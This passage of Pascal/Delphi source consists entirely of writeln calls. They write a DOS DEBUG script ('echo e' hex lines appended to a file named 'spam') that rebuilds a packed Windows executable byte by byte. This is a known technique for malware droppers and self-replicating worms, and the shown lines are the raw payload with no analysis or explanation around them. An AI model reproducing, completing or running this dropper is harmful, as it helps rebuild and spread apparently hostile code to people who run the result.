writeln(f,\'echo e 1180 51 2D 83 B8 93 DD C2 81 B9 9E 58 B1 31 C0 DD 8B>>spam\');
writeln(f,\'echo e 1190 8C 75 63 50 4B 8F 0F 0E 00 A0 B1 50 BE FC CF FC>>spam\');
writeln(f,\'echo e 11A0 BE 89 2C FB DF BE 35 99 2E 0A 06 74 2B A5 7E 18>>spam\');
writeln(f,\'echo e 11B0 39 C2 7F 1B 29 D0 40 8F FF EB FF 7F 7C 14 39 C1>>spam\');
writeln(f,\'echo e 11C0 7F 14 01 D6 88 0F 47 F3 A4 EB 11 BA 01 12 E5 31>>spam\');
writeln(f,\'echo e 11D0 C9 EB EC 89 EA 9B 5D F8 C1 EB E8 88 07 43 C2 04>>spam\');
writeln(f,\'echo e 11E0 4F 5E 31 3F 37 F6 5B AA 88 60 89 90 05 C8 97 5B>>spam\');
writeln(f,\'echo e 11F0 89 D7 6F EF E0 6F 0A 39 F7 77 13 74 2F 78 78 2A>>spam\');
writeln(f,\'echo e 1200 F3 A5 3B 83 E1 03 5B EA 5B 6B 4F 3C 39 74 0E FC>>spam\');
writeln(f,\'echo e 1210 8D CF FC 18 DC D6 0A F6 11 FD 19 1A 02 C7 1F 6C>>spam\');
writeln(f,\'echo e 1220 C1 5D 18 A1 4F 81 C4 04 D5 50 FD 7F C7 7F 61 EB>>spam\');
writeln(f,\'echo e 1230 01 43 8A 03 20 04 3C 20 76 F5 80 3B 22 75 0B 80>>spam\');
writeln(f,\'echo e 1240 7B 01 DB 1D 2F B1 05 05 38 02 EB E6 AE 25 80 FA>>spam\');
writeln(f,\'echo e 1250 0D 1B F6 2D DC FE 43 EB 05 88 14 04 40 2A 13 84>>spam\');
writeln(f,\'echo e 1260 70 05 12 F0 2B DC DA B2 8D 04 08 17 13 3F 07 3D>>spam\');
writeln(f,\'echo e 1270 F2 A3 A3 4F 5C 7C CD AE CE 44 22 8C 5B B0 E0 B5>>spam\');
writeln(f,\'echo e 1280 6A 13 57 78 F8 EA EE E2 95 FE 77 83 1E 68 05 FB>>spam\');
writeln(f,\'echo e 1290 8D B7 40 0C 68 63 50 71 D9 C8 3A 23 B3 E3 58 C6>>spam\');
writeln(f,\'echo e 12A0 39 EB 1E AA 00 F4 8C 2E 68 AD 3D 16 B4 0A 33 71>>spam\');
writeln(f,\'echo e 12B0 CB D6 90 DC F6 03 4B EB E9 49 08 3C 2F FE F7 FF>>spam\');
writeln(f,\'echo e 12C0 76 F8 E8 8D 45 E8 90 1D 0F B7 45 F0 6B C0 3C 66>>spam\');
writeln(f,\'echo e 12D0 03 45 F2 06 E9 CA FF 05 3F 66 8B 55 F4 01 D0 69>>spam\');
writeln(f,\'echo e 12E0 C0 E8 03 0B F6 BC D0 EE 78 89 05 2C 19 8B E5 5D>>spam\');
writeln(f,\'echo e 12F0 3B 4A C7 88 CD CF 3F DC BE C1 E0 10 66 05 89 D1>>spam\');
writeln(f,\'echo e 1300 4C 09 F3 AB 89 D1 AA 71 EC 7F B7 5F 1F 69 15 2A>>spam\');
writeln(f,\'echo e 1310 05 84 08 08 42 89 0A F7 E2 B1 23 1D B4 6D C3 6B>>spam\');
writeln(f,\'echo e 1320 40 33 DB BB 8A 63 BF C5 17 F8 F4 07 75 1C 6A 01>>spam\');
writeln(f,\'echo e 1330 0B 25 00 43 06 B7 50 E9 0C 0D 8D 13 C7 55 3B AC>>spam\');
writeln(f,\'echo e 1340 F0 02 B3 01 0B AB F4 A2 DB B6 3D B0 C0 70 EE F8>>spam\');
writeln(f,\'echo e 1350 B5 FC FC 01 42 68 EA C1 00 DB CC 28 0F 68 02 08>>spam\');
writeln(f,\'echo e 1360 5C E5 B9 54 68 AB 4D 7C DF A5 28 30 B6 DB 63 89>>spam\');
writeln(f,\'echo e 1370 20 5C F4 00 2F F4 50 33 F8 03 4C A6 59 00 E8 74>>spam\');
writeln(f,\'echo e 1380 9F 69 C0 26 E9 64 A5 AC 15 54 9B 6F 68 BF 07 EF>>spam\');
writeln(f,\'echo e 1390 66 A1 70 66 25 B8 02 F8 66 83 E2 BF D1 E1 FD 3F>>spam\');
writeln(f,\'echo e 13A0 66 0B C2 66 A3 14 07 EF 4F 46 54 57 41 FF FF FF>>spam\');
writeln(f,\'echo e 13B0 FF 52 45 5C 42 6F 72 6C 61 6E 64 5C 44 65 6C 70>>spam\');
writeln(f,\'echo e 13C0 68 69 5C 52 54 4C 00 46 50 55 4D 61 73 6B 56 61>>spam\');
writeln(f,\'echo e 13D0 6C F4 E9 FD D3 75 65 08 DB E3 9B D9 2D 39 23 8B>>spam\');
writeln(f,\'echo e 13E0 40 08 BB 97 1C AD 7E 89 C2 58 6A 19 78 E7 35 FD>>spam\');
writeln(f,\'echo e 13F0 96 E3 89 C3 FD 6D 56 C0 8B 76 DC A1 07 49 7D 2F>>spam\');
writeln(f,\'echo e 1400 DC 21 26 54 89 F3 F6 75 E9 2C 30 03 BA 9D A9 8E>>spam\');
writeln(f,\'echo e 1410 4A 08 F0 11 1A 3C 0B 0F BE A5 78 FF 08 94 64 8F>>spam\');
writeln(f,\'echo e 1420 05 63 9D C3 18 9C 6F 8D F5 5C 7E 05 8C 3B 07 27>>spam\');
writeln(f,\'echo e 1430 B2 01 FF 5F FA EE D4 51 FC 13 64 D7 AB 8B 4B D8>>spam\');
writeln(f,\'echo e 1440 62 51 C1 E9 02 ED 42 84 85 49 B5 59 B4 9E 89 E2>>spam\');
writeln(f,\'echo e 1450 15 CB B1 D4 A6 B8 F7 01 51 0E DC 33 E8 5B E3 BF>>spam\');
writeln(f,\'echo e 1460 55 E9 ED 39 D4 74 1D 5B 8B 0B D6 0D 73 7B FB 4B>>spam\');
writeln(f,\'echo e 1470 B4 10 88 95 8B 7B 14 89 34 38 0F 1C 49 75 1C 39>>spam\');
writeln(f,\'echo e 1480 E2 18 B1 75 E3 FB 57 93 DB 97 2E 34 B0 1B D0 0C>>spam\');
writeln(f,\'echo e 1490 0D A6 0F 51 35 02 66 E3 BB D8 D6 F2 AF B4 59 4B>>spam\');
writeln(f,\'echo e 14A0 26 C3 58 01 C0 29 A7 5B A0 AE 74 5C 47 4A 2F B8>>spam\');
writeln(f,\'echo e 14B0 D3 80 07 ED 85 C3 9E CF 03 53 62 1A 66 09 77 1F>>spam\');
writeln(f,\'echo e 14C0 85 D6 D1 17 66 6D C0 6D 23 21 19 6A DF DE C0 D0>>spam\');
writeln(f,\'echo e 14D0 58 85 D9 5B FF E1 86 08 FF 61 F0 CF AA B1 74 DB>>spam\');
writeln(f,\'echo e 14E0 5E 53 DD 7C 03 87 F4 A4 1B BD B5 ED E7 10 64 36>>spam\');
writeln(f,\'echo e 14F0 89 F0 69 08 C7 35 69 43 EB C2 8E 2A 1D 41 0C CE>>spam\');
writeln(f,\'echo e 1500 0A 5B 76 C3 69 58 E8 E0 1B 94 8B 2C 6C 0C 04 0E>>spam\');
writeln(f,\'echo e 1510 B0 8B D0 B0 81 50 05 58 18 04 1C F8 DB DF E1 4F>>spam\');
writeln(f,\'echo e 1520 FF 10 FF 52 F8 93 08 E4 58 C3 5C 7F AD F5 B5 5A>>spam\');
writeln(f,\'echo e 1530 AF C4 0D E8 BB 6F E3 71 C3 02 BA 04 B4 01 76 10>>spam\');
writeln(f,\'echo e 1540 3C 3E C6 CC 3D BD DF FA ED 0E 31 8C 33 1B AE C2>>spam\');
writeln(f,\'echo e 1550 90 EE ED 16 50 30 54 6A 02 1D E4 8A B9 A4 D9 DA>>spam\');
writeln(f,\'echo e 1560 08 3C 13 01 E0 04 C3 DB 7D 58 4F 07 50 53 A1 1A>>spam\');
writeln(f,\'echo e 1570 E8 83 76 16 B7 7F 03 E0 41 01 80 39 E9 74 0C 04>>spam\');
writeln(f,\'echo e 1580 EB 75 3F C9 96 4C FD BE C0 41 41 EB 21 EB C1 67>>spam\');
writeln(f,\'echo e 1590 72 F6 09 6C 33 1C 5C 1B 10 51 59 E1 F6 32 D7 18>>spam\');
writeln(f,\'echo e 15A0 C3 AA 27 11 52 1F 61 AD 1D 72 E2 5A C7 3A 1D 89>>spam\');
writeln(f,\'echo e 15B0 37 D9 D9 0F AA E3 1C 58 83 B5 BB EB 2E F8 F7 40>>spam\');
writeln(f,\'echo e 15C0 04 05 0F 85 12 25 81 38 DE 21 AE 2F B1 85 A1 18>>spam\');
writeln(f,\'echo e 15D0 F1 14 74 6E FC 58 A0 FB 07 97 18 15 08 1D D2 0F>>spam\');
writeln(f,\'echo e 15E0 84 F0 27 FF 26 3A B4 15 8E 09 E6 17 40 85 87 7F>>spam\');
writeln(f,\'echo e 15F0 17 0F 81 39 CE FA EF 0E 74 37 62 C8 1D A6 38 08>>spam\');
writeln(f,\'echo e 1600 9F 08 76 29 26 77 20 CC 0F 2C BF B9 50 C1 3B B4>>spam\');
writeln(f,\'echo e 1610 83 F8 00 58 AA 9D C2 9F 25 7B 7B 7A 64 0C EB 30>>spam\');
writeln(f,\'echo e 1620 0A 3A 01 76 1E B0 AD EB 21 15 50 F1 08 FD 50 3C>>spam\');
writeln(f,\'echo e 1630 0D 43 FF DD F0 74 6F 83 48 04 02 53 31 DB C9 05>>spam\');
writeln(f,\'echo e 1640 6D DF 3A C3 1B 53 1C 87 28 DA 50 68 6F 2C 34 52>>spam\');
writeln(f,\'echo e 1650 F7 18 74 F0 2A 9C 4E 28 12 FF B0 00 6C 70 7F AB>>spam\');
writeln(f,\'echo e 1660 DF A0 05 8B 6F 5C 5F 04 C7 47 04 9B 27 91 96 88>>spam\');
writeln(f,\'echo e 1670 D4 CC 2A D4 E3 F5 6B 30 76 06 EA 88 26 11 3F 07>>spam\');
writeln(f,\'echo e 1680 0A 06 3F 1D 41 08 A5 6C B8 01 B3 ED 83 10 24 B0>>spam\');
writeln(f,\'echo e 1690 2F 74 1F 8B 4A 4D 60 F8 01 E6 42 04 F4 76 6A 08>>spam\');
writeln(f,\'echo e 16A0 B9 E9 BD 28 F1 A8 30 43 9D 38 F7 39 6B B7 DD 37>>spam\');
writeln(f,\'echo e 16B0 30 C7 33 47 2D 27 66 90 09 FF CC D5 F7 6E 42 0C>>spam\');
writeln(f,\'echo e 16C0 83 60 04 FD 77 D2 F7 6E A5 47 0E 08 E8 75 9C AC>>spam\');
writeln(f,\'echo e 16D0 AE F6 D2 D6 8A B6 E4 10 50 12 89 11 52 FE 2C 84>>spam\');
writeln(f,\'echo e 16E0 5D 8D 48 39 5A 8B 64 24 2C F1 6F C3 55 DF 8B 5D>>spam\');
writeln(f,\'echo e 16F0 8E 58 FF E2 C3 6D 2E 02 35 1A 4C EC A3 19 02 45>>spam\');
writeln(f,\'echo e 1700 C2 D1 BB A1 C2 0C 9B D6 DA DB 5B 2B 58 BF EF 23>>spam\');
writeln(f,\'echo e 1710 02 3D 92 11 C0 77 33 FF FD 7F 2C 74 5C 3D 8E 08>>spam\');
writeln(f,\'echo e 1720 15 74 57 2D 05 0F 2D 87 F6 FF 65 A1 FF 3D 48 74>>spam\');
writeln(f,\'echo e 1730 4E EB 60 05 71 0E 3F 02 72 36 74 30 EB 52 3D DA>>spam\');
writeln(f,\'echo e 1740 B6 E7 BF 96 29 11 74 3D 2D 93 2E 22 13 02 24 DA>>spam\');
writeln(f,\'echo e 1750 AA 7D 17 F9 2D FD 0E 2F 27 3A 26 E0 5F E2 37 27>>spam\');
writeln(f,\'echo e 1760 B0 C8 EB 2A B0 BB 26 B0 CD EB 22 B0 CF 5F E2 7F>>spam\');
writeln(f,\'echo e 1770 D7 B5 0F 1A B0 D7 EB 16 B0 CE EB 12 B0 5D 0E B0>>spam\');
writeln(f,\'echo e 1780 DA EB B7 41 09 FE 0A B0 D9 EB 06 B0 CA FE 35 FF>>spam\');
writeln(f,\'echo e 1790 D4 30 4C FC EA 52 0C 4C 94 5D E7 AB 9C 38 8C 97>>spam\');
writeln(f,\'echo e 17A0 F2 26 0F 17 8E 19 EF 64 23 74 70 28 B9 19 46 C7>>spam\');
writeln(f,\'echo e 17B0 24 9F 08 89 2E 5C AF 3B E3 E2 32 5A 3F 53 14 8B>>spam\');
writeln(f,\'echo e 17C0 43 18 E9 DD FB 27 CE 28 60 6F 79 DF EF 7B 86 C9>>spam\');
writeln(f,\'echo e 17D0 42 BF 53 7C 1B 74 1D 00 36 61 08 BF 1F EF B8 D9>>spam\');
writeln(f,\'echo e 17E0 99 51 14 3C 6C C3 82 03 43 5F 6D A9 0A 5A A5 76>>spam\');
writeln(f,\'echo e 17F0 0D 05 76 EC 44 70 89 68 33 8B 19 22 C4 05 90 AF>>spam\');
writeln(f,\'echo e 1800 7F 0A 22 C0 9B 5B B8 39 C8 75 64 00 28 16 09 83>>spam\');
writeln(f,\'echo e 1810 F9 82 B0 15 BF 3A 08 39 01 75 F5 9B 01 83 D1 F5>>spam\');
writeln(f,\'echo e 1820 10 3B 4B BF 8C 6A 08 C0 48 43 7E 74 A9 B2 63 70>>spam\');
writeln(f,\'echo e 1830 04 C0 6E 2F 9B BB FB 02 5C 7E 12 4B 89 18 44 DE>>spam\');
writeln(f,\'echo e 1840 04 23 96 D0 08 3C 0C 6E 11 7F EE D5 EB 14 04 8E>>spam\');
writeln(f,\'echo e 1850 87 C8 AE F0 1F 24 41 4C 3D 23 D0 33 13 C3 5F A1>>spam\');
writeln(f,\'echo e 1860 94 B6 4B 27 19 BB C4 8B 30 93 8B 78 5D CE 3B F3>>spam\');
writeln(f,\'echo e 1870 BC 9B FD 85 7E 19 04 DF 43 89 1D 98 26 5F 3B F3>>spam\');
writeln(f,\'echo e 1880 7F EC 15 5E 1B 80 F0 5A 10 95 DE 16 AF 07 3B 06>>spam\');
writeln(f,\'echo e 1890 9C C8 23 53 3F 46 A9 0E DC B4 1E DC C6 05 14 14>>spam\');
writeln(f,\'echo e 18A0 61 B7 81 BE 3D 84 57 05 20 0E BB 34 C8 F8 2F 38>>spam\');
writeln(f,\'echo e 18B0 A0 B9 7E 28 F7 F1 80 C2 30 88 13 4B 2B 3C DB 9A>>spam\');
writeln(f,\'echo e 18C0 D7 F2 1D 28 37 2C 98 A6 0A 12 5F DC E8 92 16 BB>>spam\');
writeln(f,\'echo e 18D0 40 0E C2 96 83 52 9D FB 0F 8A 92 4C 0A 2A C1 96>>spam\');
writeln(f,\'echo e 18E0 98 7E 4F 88 44 27 39 1D A4 05 2D A0 C8 01 DF 6E>>spam\');
writeln(f,\'echo e 18F0 FF 77 1C 02 20 8B 37 B9 4D F4 C7 B6 56 E0 A5 9B>>spam\');
writeln(f,\'echo e 1900 87 72 F7 D8 19 C0 40 C9 72 BF EF E9 05 BC BB 37>>spam\');
writeln(f,\'echo e 1910 BE 17 BF 24 04 B1 F1 42 15 D7 F5 16 83 3F 4C 11>>spam\');
writeln(f,\'echo e 1920 77 BF 41 1B 1E D0 5E 17 8B E8 FF D5 10 75 EF 83>>spam\');
writeln(f,\'echo e 1930 DC 60 B7 BD 3D 88 19 47 96 20 14 0C 30 80 8E 6D>>spam\');
writeln(f,\'echo e 1940 E4 8E BA 24 8B FD 82 AE 37 E4 8B C8 AD FE 04 67>>spam\');
writeln(f,\'echo e 1950 EB 1C 94 0C 70 B6 E0 08 3D B3 44 70 25 05 00 D4>>spam\');
writeln(f,\'echo e 1960 01 AD CE 16 8A 28 6B 02 AB C2 A3 5C 35 1D 05 B0>>spam\');
writeln(f,\'echo e 1970 06 57 1A 76 98 BB 14 01 76 05 9F 43 10 83 16 12>>spam\');
writeln(f,\'echo e 1980 5F C0 ED 16 30 E4 0B 9A 10 3B 50 04 93 12 CF 6E>>spam\');
writeln(f,\'echo e 1990 8C CE EC 2C 1E FC 75 1B 02 F0 6C EE 53 28 08 97>>spam\');
writeln(f,\'echo e 19A0 05 64 22 02 7D A4 8E 66 06 15 CC 8B 03 56 93 7F>>spam\');
writeln(f,\'echo e 19B0 8B 0F C2 FB 03 5E EB 8C 50 B9 74 69 6F 6E 73 20>>spam\');
writeln(f,\'echo e 19C0 58 FC FF FF 43 6F 70 79 72 69 67 68 74 20 28 63>>spam\');
writeln(f,\'echo e 19D0 29 20 31 39 38 33 2C 39 39 20 D8 75 38 3C 22 5E>>spam\');
writeln(f,\'echo e 19E0 D3 17 F8 88 B0 34 CA 20 8F 90 F5 B8 7E AC BB D8>>spam\');
writeln(f,\'echo e 19F0 BE 10 AF 1C C7 00 7C 4A F8 49 7C 10 B8 40 6B A5>>spam\');
writeln(f,\'echo e 1A00 28 06 CA B4 42 F8 14 0B 13 B1 BA 47 DF 23 93 DC>>spam\');
writeln(f,\'echo e 1A10 6D 95 13 29 1A C7 03 0E 08 DD BB 8B 61 28 69 4E>>spam\');
writeln(f,\'echo e 1A20 75 DA 6B 27 24 6C 68 13 77 21 41 7F 1A 8C 42 FC>>spam\');
writeln(f,\'echo e 1A30 2E 22 68 16 38 C0 CD 0B 48 FC 69 FF EB 01 F6 6D>>spam\');
writeln(f,\'echo e 1A40 A6 8E 36 87 7B 14 4B 84 5E E2 8B FB 7E 32 83 C0>>spam\');
writeln(f,\'echo e 1A50 09 6B 3E B0 F4 5B 07 08 5A 89 50 FC 92 F8 3A C6>>spam\');
writeln(f,\'echo e 1A60 04 F7 28 57 A5 60 96 93 98 5D 34 3A FB 89 CF 89>>spam\');
writeln(f,\'echo e 1A70 F8 63 F9 DC E9 09 A1 87 C6 6E 6B 89 F0 68 89 AA>>spam\');
writeln(f,\'echo e 1A80 21 1F BD 85 CE 62 3B EB 52 28 B9 40 BC 6B 75 E2>>spam\');
writeln(f,\'echo e 1A90 2C 57 82 7F 21 52 3A 0A 96 B7 C6 5B B9 3A 4A 01>>spam\');
writeln(f,\'echo e 1AA0 25 04 02 74 0B 03 6A 5B B5 16 7D 83 A9 99 42 00>>spam\');
writeln(f,\'echo e 1AB0 BD 3D DE 97 17 5A 29 D1 E9 2E 97 2F 8A 0A 42 85>>spam\');
writeln(f,\'echo e 1AC0 4A 94 9A 0D 47 0C 8D BD D0 8D 6E 84 F2 AE E9 F7>>spam\');
writeln(f,\'echo e 1AD0 D1 21 C1 58 5F 37 74 03 9C 18 53 D2 8B 5A FC 86>>spam\');
writeln(f,\'echo e 1AE0 11 39 D9 57 1E FB AD 7C 48 D9 88 08 40 92 8D 5B>>spam\');
writeln(f,\'echo e 1AF0 C3 C6 87 AE 50 8B 8E 09 03 D9 D3 2A 30 B3 E5 80>>spam\');
writeln(f,\'echo e 1B00 3F 07 A8 CA CD 5A 89 37 7A 8B 79 FC 47 FC 01 FA>>spam\');
writeln(f,\'echo e 1B10 8E 95 62 6D BB ED 36 25 60 CB 8B 4E 12 13 11 44>>spam\');
writeln(f,\'echo e 1B20 D1 5A 23 F6 C9 16 0E EE A3 06 B8 D5 DE F7 52 50>>spam\');
writeln(f,\'echo e 1B30 89 D3 88 D2 94 10 FA 3B 1A A1 F4 03 41 FC 4A 72>>spam\');
writeln(f,\'echo e 1B40 0E 50 93 44 9C B6 C1 01 5B E0 F2 83 7B 01 CE 41>>spam\');
writeln(f,\'echo e 1B50 43 57 68 34 4B 93 80 7A 03 71 45 7F 81 3E 27 24>>spam\');
writeln(f,\'echo e 1B60 A1 58 8D 24 94 FF E0 0C DB 06 98 37 6C 39 D0 94>>spam\');
writeln(f,\'echo e 1B70 8F 2A D2 ED 8E 1A 4E 68 19 6B 8B 46 82 57 FC B7>>spam\');
writeln(f,\'echo e 1B80 6D 81 0B FF 77 02 01 C2 52 C1 EA 27 26 8B 7B 1F>>spam\');
writeln(f,\'echo e 1B90 E0 71 67 62 FB 75 58 4A 74 15 9F 04 93 0C 4B 83>>spam\');
writeln(f,\'echo e 1BA0 C6 B2 15 D8 2E 3E C7 08 80 E2 FF 0A 04 2C DF 42>>spam\');
writeln(f,\'echo e 1BB0 E9 04 5A E1 4E 22 2B 38 41 AB 56 6D BF 17 38 FD>>spam\');
writeln(f,\'echo e 1BC0 75 3A 06 10 3D 32 D8 8D BA B7 81 E1 05 38 27 62>>spam\');
writeln(f,\'echo e 1BD0 EB 23 60 5D B7 73 A5 6D 6A 06 15 5A 30 10 2D 0C>>spam\');
writeln(f,\'echo e 1BE0 09 A5 FB 46 EB 10 C1 EB 10 0D 02 C7 54 C3 F1 B1>>spam\');
writeln(f,\'echo e 1BF0 CF 50 F8 42 7E 45 12 07 2E 15 88 27 87 B6 9D 34>>spam\');
writeln(f,\'echo e 1C00 A5 46 61 3B 1F 53 2C A2 53 4F 7E CE 51 68 58 2F>>spam\');
writeln(f,\'echo e 1C10 13 04 6A 34 57 0B C3 68 06 8A 57 5B DE FE 3F DC>>spam\');
writeln(f,\'echo e 1C20 3D F7 44 2D 8B 58 B7 26 4A 7C 1B 39 DA 7D 1F 29>>spam\');
writeln(f,\'echo e 1C30 D3 B4 12 6D 03 BB 19 9D 12 F3 AD 11 C0 04 95 A6>>spam\');
writeln(f,\'echo e 1C40 11 DC 40 C7 EC C2 EB E5 D5 EB EB 12 5E 5B 1F 84>>spam\');
writeln(f,\'echo e 1C50 AE 73 BE 3E 40 79 31 3F 8B 4F FC 57 28 D0 F8 0D>>spam\');
writeln(f,\'echo e 1C60 C6 4A 78 1B 8A 06 46 42 8B 6B D4 EE EE 28 10 89>>spam\');
writeln(f,\'echo e 1C70 CB 1C D1 F3 A6 C5 2B 41 DA 86 63 BB EC 5A 31 F5>>spam\');
writeln(f,\'echo e 1C80 08 C8 DB F8 F1 BA 1F 49 02 1B 05 31 FF 4C 48 94>>spam\');
writeln(f,\'echo e 1C90 B8 71 D7 B3 56 23 83 78 F6 75 1D 7E 4D 9F 16 2E>>spam\');
writeln(f,\'echo e 1CA0 5A C2 09 D3 E0 11 48 58 12 89 CE DA 17 6E D1 70>>spam\');
writeln(f,\'echo e 1CB0 FC 65 30 00 EB 28 C3 E5 C7 A9 63 B7 C5 31 68 FA>>spam\');
writeln(f,\'echo e 1CC0 DF 39 F1 7D F1 07 CA 8E C6 00 C7 AB 25 CC D0 AA>>spam\');
writeln(f,\'echo e 1CD0 6B 37 38 89 CA 0C F2 05 40 05 BB FF BA 74 CA 51>>spam\');
writeln(f,\'echo e 1CE0 EF 07 59 89 DA 5B 1F 36 9C AF 93 B1 86 C4 23 0E>>spam\');
writeln(f,\'echo e 1CF0 50 B2 7D C1 8A D1 01 7C 77 17 72 0C B3 B1 62 67>>spam\');
writeln(f,\'echo e 1D00 17 50 1C 09 E8 CF 5A 68 D4 13 92 BC C8 91 FC 89>>spam\');
writeln(f,\'echo e 1D10 B1 CD 56 48 0A B1 51 52 26 74 A1 F8 4A B7 EE 99>>spam\');
writeln(f,\'echo e 1D20 0F C3 82 53 8A 7F F8 8D 02 B6 BA 50 D8 D9 7C 0A>>spam\');
writeln(f,\'echo e 1D30 AB 16 E8 D8 15 6A EC D8 31 28 27 68 55 4F 80 12>>spam\');
writeln(f,\'echo e 1D40 AF 35 B9 C4 BD 6C 14 92 F4 16 2F DD 6A FD 90 B7>>spam\');
writeln(f,\'echo e 1D50 A5 A5 2E 63 8A 56 82 F8 C7 31 04 0B 74 96 97 97>>spam\');
writeln(f,\'echo e 1D60 97 46 0C 74 58 0D 74 62 0E 74 7B 0F CE 2C 9B D9>>spam\');
writeln(f,\'echo e 1D70 32 88 08 11 8E 48 E1 B6 4D 88 58 65 4F 01 58 7F>>spam\');
writeln(f,\'echo e 1D80 0A 1F D9 5F 61 17 10 27 62 11 0B F4 EB 78 19 1B>>spam\');
writeln(f,\'echo e 1D90 8D 2D DD 07 0D 25 6A 16 26 E8 61 17 FA 6E 6B 13>>spam\');
writeln(f,\'echo e 1DA0 DE 10 0B 2A 74 4F 7F F3 34 55 89 5D FA 76 8B D5>>spam\');
writeln(f,\'echo e 1DB0 9F 2E 0A 15 03 5C 2E 02 84 2E 06 34 73 DF 8E B3>>spam\');
writeln(f,\'echo e 1DC0 26 80 1C E8 5D EB 34 1D 19 E6 5B 96 AF 84 15 54>>spam\');
writeln(f,\'echo e 1DD0 F0 1E 42 04 E5 59 6B CF 31 54 0F 0E 1D 10 2C 34>>spam\');
writeln(f,\'echo e 1DE0 F0 C6 6A BC F1 9C D3 A8 E9 49 5B 1D 23 46 FB 14>>spam\');
writeln(f,\'echo e 1DF0 C0 8A 69 8D 7E BB E9 C2 7C 01 22 6F FC F1 4F F8>>spam\');
writeln(f,\'echo e 1E00 51 03 04 29 C1 7E 0B 16 6A C6 37 DD 01 F0 01 DA>>spam\');
writeln(f,\'echo e 1E10 D0 FF 17 79 79 B8 D5 83 A8 80 F9 0E F9 3D 80 F9>>spam\');
writeln(f,\'echo e 1E20 A7 79 79 79 49 80 F9 55 80 F9 70 80 F9 80 E1 41>>spam\');
writeln(f,\'echo e 1E30 61 C2 F9 11 17 0A 23 0E 23 62 15 1E 8B 14 06 76>>spam\');
writeln(f,\'echo e 1E40 15 03 20 4F 1E F6 EB 7D 10 26 30 6C 8D 2A 43 E1>>spam\');
writeln(f,\'echo e 1E50 F9 29 D8 B8 10 5B BD BC 61 0D 9B DB A8 02 03 FD>>spam\');
writeln(f,\'echo e 1E60 4C C0 09 23 63 17 5B E0 28 90 E9 3B 1F 17 02 51>>spam\');
writeln(f,\'echo e 1E70 FB 3C 6C 79 58 18 27 74 22 5A 31 6C 8A 3C AC 9D>>spam\');
writeln(f,\'echo e 1E80 11 1F 12 2C 70 C7 46 5D 8D C7 4E 4D 28 14 26 62>>spam\');
writeln(f,\'echo e 1E90 6D AB 5C 59 E9 22 03 EA E8 FE 19 4B 08 BB 06 8B>>spam\');
writeln(f,\'echo e 1EA0 6C 24 14 8A 0F E4 79 9E C9 F6 43 52 61 7D 0A 0B>>spam\');
writeln(f,\'echo e 1EB0 39 64 91 9C 82 DD 65 88 35 71 F5 87 B8 4D 75 EE>>spam\');
writeln(f,\'echo e 1EC0 E1 24 07 D9 16 29 7B 26 30 EB 7A AD DD B3 3D DE>>spam\');
writeln(f,\'echo e 1ED0 FE 06 13 10 66 E2 4F 5B 2C BC 0D 98 0F 02 1C 93>>spam\');
writeln(f,\'echo e 1EE0 08 AC 04 02 EF ED 63 FD 03 1F 03 37 20 EA EB 45>>spam\');
writeln(f,\'echo e 1EF0 17 AE C0 8D 0D B1 F8 C4 47 01 12 07 02 3C 33 6D>>spam\');
writeln(f,\'echo e 1F00 AD 17 03 1C E5 BC 65 31 6C 30 C3 7B 97 14 13 30>>spam\');
writeln(f,\'echo e 1F10 09 15 A5 D8 5F EF EC AD 6A 90 B0 0F B4 9F 2F DE>>spam\');
writeln(f,\'echo e 1F20 10 93 10 F2 10 F7 C2 00 A3 56 72 05 FF 28 83 FA>>spam\');
writeln(f,\'echo e 1F30 08 72 23 81 FA BD B3 07 21 B6 88 CD 01 75 19 79>>spam\');
writeln(f,\'echo e 1F40 83 0D 63 8F AE 53 C2 38 E9 EC 0C C3 E6 01 C3 48>>spam\');
writeln(f,\'echo e 1F50 89 84 47 F0 90 53 AB A5 ED 66 83 38 3F 2A E5 66>>spam\');
writeln(f,\'echo e 1F60 CB A2 17 98 2D 5D 17 06 01 08 26 85 FF 15 0D 4E>>spam\');
writeln(f,\'echo e 1F70 D7 7A 47 B4 44 E8 48 25 A0 AB 6F 2F 3A 08 73 11>>spam\');
writeln(f,\'echo e 1F80 BE 08 85 AE D9 2E DD 89 48 05 0C 0C C3 3E 3A 14>>spam\');
writeln(f,\'echo e 1F90 06 94 D9 7E 6E 3E 75 27 2A 16 58 85 D8 58 3C 5B>>spam\');
writeln(f,\'echo e 1FA0 6C 19 09 20 0A 7E 06 15 5B 22 BE 89 01 F1 C3 92>>spam\');
writeln(f,\'echo e 1FB0 B3 E2 5C 9E 1C 8C 09 85 1C 77 08 2D 9A EA 29 94>>spam\');
writeln(f,\'echo e 1FC0 58 23 FF 23 59 A4 36 E9 AB 4A 90 1E BB 39 D4 EB>>spam\');
writeln(f,\'echo e 1FD0 23 5C 07 6B E0 17 5B F0 06 6D 8C F2 36 8B 5D FC>>spam\');
writeln(f,\'echo e 1FE0 DB 45 6F 2D 1A 6C 94 38 C3 8C 03 7D 07 B0 DD D7>>spam\');
writeln(f,\'echo e 1FF0 39 0E 98 E6 1B D6 94 94 43 2C A3 1A E8 A0 1D 63>>spam\');
writeln(f,\'echo e 2000 F0 06 0B 4C DB CD B9 56 CE 0B 07 13 8A 46 BB C6>>spam\');
writeln(f,\'echo e 2010 34 B5 6D 5B 87 02 0F E8 05 06 69 04 42 ED DF AA>>spam\');
writeln(f,\'echo e 2020 D3 33 F6 8B C7 F7 6D E8 14 C7 DB 61 DB B7 02 99>>spam\');
writeln(f,\'echo e 2030 F7 FF 3B 1D 74 56 83 11 08 FF 5B A1 03 4D B7 F4>>spam\');
writeln(f,\'echo e 2040 35 89 5D E0 3B 7D F0 7D 1D 01 70 51 13 42 19 0F>>spam\');
writeln(f,\'echo e 2050 D6 75 F6 0D 7E 0F AF 55 E8 03 4B 4D F0 2B CF 7E>>spam\');
writeln(f,\'echo e 2060 8C FD 16 81 6F 70 E0 8B 55 E4 D2 AC E0 EB 5E FF>>spam\');
writeln(f,\'echo e 2070 0B B5 12 C5 C2 55 F3 53 87 AD 6B ED B6 65 EC 43>>spam\');
writeln(f,\'echo e 2080 EC 7D 92 04 46 2A 2A 96 29 8E BD EC 42 4D 33 C9>>spam\');
writeln(f,\'echo e 2090 79 05 DF D9 D6 B6 21 50 16 CD 12 62 CE 55 7C A5>>spam\');
writeln(f,\'echo e 20A0 DA 6D 11 D0 4D 29 4D E8 2F 57 81 48 DF C2 08 EC>>spam\');
writeln(f,\'echo e 20B0 00 33 A4 55 42 B9 06 8E 50 09 04 11 EC D6 5A EC>>spam\');
writeln(f,\'echo e 20C0 55 F0 4F C2 06 6C 03 C3 53 85 B7 1B 1C 83 7D 70>>spam\');
